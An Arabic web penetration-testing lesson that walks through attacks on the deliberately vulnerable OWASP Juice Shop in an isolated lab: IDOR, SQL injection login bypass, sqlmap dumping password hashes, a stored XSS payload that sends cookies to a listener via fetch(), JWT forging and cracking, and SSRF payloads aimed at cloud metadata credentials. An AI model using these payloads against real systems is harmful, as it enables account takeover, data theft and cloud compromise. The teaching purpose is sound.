إنتقل إلى المحتوى الرئيسي

OWASP Top 10 — عرض توضيحي موجَّه

OWASP Juice Shop — التطبيق الأكثر حداثة من بين التطبيقات الضعيفة عن قصد، مكتوب بـ Angular + Node.js. نُفكّكه، خمس مرات على التوالي، على خمس فئات مختلفة من الـ Top 10. في كل مرة: طلب، استجابة، أثر.

مختبر معزول

يعمل Juice Shop على 10.10.10.50 في مختبرك host-only. لا يذهب أي أمر من هذا الدرس إلى الإنترنت.

ما ستتقنه بعد هذا الدرس​

  • تشغيل Juice Shop عبر Docker.
  • استغلال خمس ثغرات من فئات مختلفة.
  • كتابة، لكل واحدة، دليل أثر واضح.
  • سلسلة IDOR + JWT ضعيف لسيناريو تصعيد كامل.

الخطوة 0 — تشغيل Juice Shop​

على آلة افتراضية جديدة بنظام Ubuntu في المختبر، أو على Kali:

docker run -d --name juice -p 3000:3000 bkimminich/juice-shop

من Kali: http://10.10.10.50:3000/ — يظهر المتجر.

اضبط Firefox ليمر عبر Burp Suite (127.0.0.1:8080). أنشئ حساب مستخدم عادي (victime@test.local / Test123!)، وسجّل الدخول. Burp يرى كل شيء.

أنشئ مجلد الأدلة:

mkdir -p ~/labs/semaine-07/preuves

الخطوة 1 — A01: IDOR على سلات الشراء​

ملاحظة : سلتك تحمل معرّفًا basketId=6. كل مستخدم له سلّته.

فرضية : ماذا لو غيّرنا المعرّف؟

في Burp HTTP history، ابحث عن الطلب:

GET /rest/basket/6 HTTP/1.1
Host: 10.10.10.50:3000
Authorization: Bearer eyJ0eXAiOi...

Send to Repeater. غيّر 6 إلى 1 :

GET /rest/basket/1 HTTP/1.1

الاستجابة :

{
"status": "success",
"data": {
"id": 1,
"coupon": null,
"UserId": 1,
"createdAt": "2026-03-15T10:12:44.891Z",
"Products": [
{"name": "Apple Juice", "quantity": 3, "price": 1.99},
{"name": "OWASP Juice Shop Logo Sticker", "quantity": 100, "price": 5}
]
}
}

أنت ترى سلة المسؤول. UserId=1 = حساب المسؤول.

دليل الأثر :

الطلب: GET /rest/basket/1 برمز مستخدم عادي
الاستجابة: المحتوى الكامل لسلة المستخدم ذي المعرّف 1 (المسؤول)
الأثر: يمكن لكل مستخدم قراءة سلة أي مستخدم آخر.
في متجر حقيقي، هذا يعادل قراءة طلبات جميع العملاء.

احفظ الطلب + الاستجابة في preuves/A01-idor-panier.md.


الخطوة 2 — A03: حقن SQL في تسجيل الدخول​

ملاحظة : يحتوي تسجيل الدخول على حقل بريد إلكتروني وحقل كلمة مرور.

في Burp، اعترض POST /rest/user/login :

{"email":"victime@test.local","password":"Test123!"}

عدِّل :

{"email":"' OR 1=1 --","password":"anything"}

أرسل. الاستجابة :

{
"authentication": {
"token": "eyJ0eXAiOi...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}

أنت الآن المسؤول. جرى تجاوز المصادقة: يصبح الطلب SELECT * FROM Users WHERE email='' OR 1=1 --' AND password='...' ← يُعيد أول سطر، وهو عادة المسؤول.

دليل الأثر :

الطلب: POST /rest/user/login ببريد إلكتروني مفخَّخ
النتيجة: رمز JWT صالح لـ admin@juice-sh.op
الأثر: اختراق كامل للتطبيق عبر حقن SQL
في حقل البريد الإلكتروني لتسجيل الدخول.

سجّل الرمز للاستخدام لاحقًا:

export ADMIN_TOKEN="eyJ0eXAiOi..."

احفظ في preuves/A03-sqli-login.md.


الخطوة 3 — A03 (تابع): حقن SQL باستخدام sqlmap​

لنجد حقنًا أكثر كلاسيكية. توجّه إلى http://10.10.10.50:3000/rest/products/search?q=apple. إنها نقطة نهاية بحث.

في Burp، التقط الطلب:

GET /rest/products/search?q=apple HTTP/1.1
Host: 10.10.10.50:3000

احفظه في ملف:

# preuves/req-search.txt
GET /rest/products/search?q=FUZZ HTTP/1.1
Host: 10.10.10.50:3000

شغّل sqlmap :

sqlmap -r preuves/req-search.txt --batch --level=3 --dbs

مخرج نموذجي:

sqlmap identified the following injection point(s):
Parameter: q (GET)
Type: UNION query
Payload: apple' UNION SELECT NULL,NULL,...

available databases [1]:
[*] SQLite_masterdb

جيد، إنها SQLite. لنسرد الجداول:

sqlmap -r preuves/req-search.txt --batch --tables
Database: <current>
[9 tables]
+-------------------+
| Users |
| Products |
| Feedbacks |
| BasketItems |
| ... |
+-------------------+

استخراج 3 مستخدمين:

sqlmap -r preuves/req-search.txt --batch --dump -T Users --start=1 --stop=3
+---+------------------------+--------------------------------+---------+
| id | email | password (md5) | role |
+---+------------------------+--------------------------------+---------+
| 1 | admin@juice-sh.op | 0192023a7bbd73250516f069df18b500 | admin |
| 2 | jim@juice-sh.op | e5a9e79ba99895c40506c5be3f4d2354 | customer|
| 3 | bender@juice-sh.op | 03dfb27506def0d31d5b1e57dc95519f | customer|
+---+------------------------+--------------------------------+---------+

دليل الأثر :

استخراج محدود بثلاثة أسطر (احترامًا لـ RoE).
تجزئة md5 الخاصة بالمسؤول: 0192023a7bbd73250516f069df18b500
→ فُكَّت في 3 ثوانٍ على https://crackstation.net → كلمة المرور "admin123"
الأثر: انطلاقًا من حقن SQL في نقطة نهاية بحث
عامة، استخراج وكسر كلمة مرور المسؤول في أقل من 5 دقائق.

الخطوة 4 — A03: XSS مخزَّنة على صفحة الملف الشخصي​

في حسابك، توجّه إلى الملف الشخصي (Profil). يمكنك تغيير اسم المستخدم الخاص بك.

اختبر :

<img src=x onerror="alert(document.cookie)">

احفظ. أعد تحميل صفحة الملف الشخصي. تظهر نافذة منبثقة تعرض الكوكي الخاص بك.

النافذة المنبثقة = POC. نريد الأثر. لنستبدلها بحمولة تُسرّب البيانات:

<img src=x onerror="fetch('http://10.10.10.5:8000/steal?c='+document.cookie)">

على Kali، شغّل خادمًا:

python3 -m http.server 8000

أعد تحميل الصفحة. تعرض طرفية Kali:

10.10.10.50 - - [15/Apr/2026 14:33:12] "GET /steal?c=token=eyJ0eXAi... HTTP/1.1" 200 -

لقد سرّبت رمز JWT الخاص بالزائر الذي حمّل ملفك الشخصي. على صفحة مجتمعية (تعليقات، منتدى)، أي مسؤول يطّلع على رسالتك سيرسل رمزه إلى خادمك.

دليل الأثر :

XSS مخزَّنة في اسم المستخدم (الحمولة: img onerror fetch).
رمز JWT الخاص بأي زائر (بما في ذلك المسؤول) يُسرَّب إلى 10.10.10.5:8000.
الأثر: انتحال كامل للهوية، بما في ذلك هوية المسؤول، بمجرد أن
يمرّ مشرف على صفحة ملفي الشخصي.

احفظ في preuves/A03-xss-stockee.md.


الخطوة 5 — A07: JWT بـ alg=none​

لنفكّ تشفير JWT الخاص بالمسؤول الذي حصلنا عليه في الخطوة 2 على jwt.io (أو باستخدام jwt-cli محليًا) :

Header : {"typ":"JWT","alg":"HS256"}
Payload: {
"status":"success",
"data":{"id":1,"email":"admin@juice-sh.op","password":"...","role":"admin"},
"iat":1712345678
}
Signature: <256 bits>

هجوم alg=none : نستبدل HS256 بـ none في الترويسة (header)، ونحذف التوقيع.

بناء يدوي :

import base64, json

header = {"typ":"JWT","alg":"none"}
payload = {"status":"success","data":{"id":1,"email":"admin@juice-sh.op","role":"admin"},"iat":1712345678}

def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()

token = f"{b64(header)}.{b64(payload)}."
print(token)

المخرج :

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6...

اختبر :

curl -H "Authorization: Bearer <token-forge>" http://10.10.10.50:3000/rest/user/whoami

الاستجابة :

{"user":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}

على Juice Shop، هذا الهجوم لا ينجح (المكتبة تتحقق)، لكنه ما زال ينجح على كثير من واجهات API الحقيقية المكتوبة بمحلِّلات (parsers) JWT قديمة.

حل بديل ينجح على Juice Shop : نكسر مفتاح HS256 باستخدام Hashcat. استخرج الرمز، واستخرج التوقيع:

hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt

إذا كان المفتاح موجودًا ضمن rockyou.txt (secret، admin، changeme...)، تحصل على المفتاح في ثوانٍ. بعدها تُزوِّر رمز admin موقّعًا بشكل شرعي.

دليل الأثر :

الهجوم: تخمين توقيع JWT عبر قاموس (hashcat -m 16500).
المفتاح المكتشَف: "secret" (10 دقائق)
النتيجة: القدرة على تزوير أي رمز لأي مستخدم.
الأثر: اختراق دائم حتى تدوير مفتاح التوقيع.

الخطوة 6 — A10: SSRF على استيراد صورة​

لدى Juice Shop نقطة نهاية upload يمكنها تحميل صورة من رابط URL :

POST /api/User/  HTTP/1.1
Content-Type: application/json
{"picture":"http://<url-controlée>"}

اختبر باستخدام نقطة نهاية بيانات وصف AWS (metadata) (مع أن Juice Shop ليس على AWS، نحاكي المبدأ) :

{"picture":"http://169.254.169.254/latest/meta-data/"}

على مثيل EC2 حقيقي وضعيف، ستحتوي الاستجابة على بيانات الوصف، بما فيها بيانات اعتماد IAM.

للعرض المحلي، لنشغّل خادم اختبار على Kali :

python3 -m http.server 9000 > /tmp/reception.log &

الحمولة (Payload) :

{"picture":"http://10.10.10.5:9000/secret.txt"}

أرسل. راجع /tmp/reception.log :

10.10.10.50 - - [15/Apr/2026 14:41:03] "GET /secret.txt HTTP/1.1" 404 -

الدليل : خادم التطبيق أرسل بالفعل طلبًا إلى عنوان IP الذي اخترته أنت. هذا هو سلوك SSRF.

دليل أثر موسَّع (على هدف سحابي حقيقي) :

الحمولة: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
الاستجابة: {AccessKeyId, SecretAccessKey, Token}
aws sts get-caller-identity ← تأكيد حساب AWS
aws iam list-attached-role-policies ← رؤية كاملة للصلاحيات
الأثر: الانتقال من SSRF على مستوى التطبيق إلى اختراق سحابي.

احفظ في preuves/A10-ssrf.md.


الخطوة 7 — السلسلة: XSS ← سرقة JWT المسؤول ← السيطرة الكاملة​

أعد الربط لإظهار قصة هجوم حقيقية :

  1. XSS مخزَّنة على صفحة ملفي الشخصي (الخطوة 4).
  2. يطّلع مشرف على صفحتي.
  3. رمز JWT الخاص بالمشرف يصل إلى خادمي (10.10.10.5:8000/steal?c=...).
  4. أنسخ هذا الرمز في Authorization: Bearer ... داخل Burp.
  5. كل الطلبات التي أُجريها الآن تُنفَّذ بهوية المشرف.
  6. أصل إلى /rest/admin/users، وإلى /rest/products/create، إلخ.
  7. أغيّر سعر منتج إلى 0.01 $، أُنشئ سلة، وأمرر الطلبية.

ثغرتان منفصلتان (XSS + غياب MFA على حساب المسؤول) مُسلسَلتان = اختراق تجاري.

هذه القصة — لا الحمولات المعزولة — هي ما يظهر في التقرير النهائي.


الحصيلة​

في 90 دقيقة، على Juice Shop :

  • A01 IDOR — قراءة سلة المسؤول.
  • A03 SQLi تسجيل الدخول — تجاوز كامل للمصادقة.
  • A03 SQLi البحث — استخراج جدول Users.
  • A03 XSS مخزَّنة — تسريب JWT.
  • A07 JWT — كسر مفتاح HMAC.
  • A10 SSRF — الخادم يرسل ما أريده.
  • سلسلة الهجوم : XSS + جلسة المسؤول = اختراق تجاري.

هذه خمسة أدلة أثر في ملف واحد. هذا هو نوع المحتوى الذي يُدرَج في تقرير اختبار اختراق للويب.

الدرس القادم: دورك. تأخذ DVWA أو Juice Shop بمستوى أصعب، وتُسقِط 3 ثغرات على الأقل من فئات مختلفة، مع دليل أثر لكل واحدة.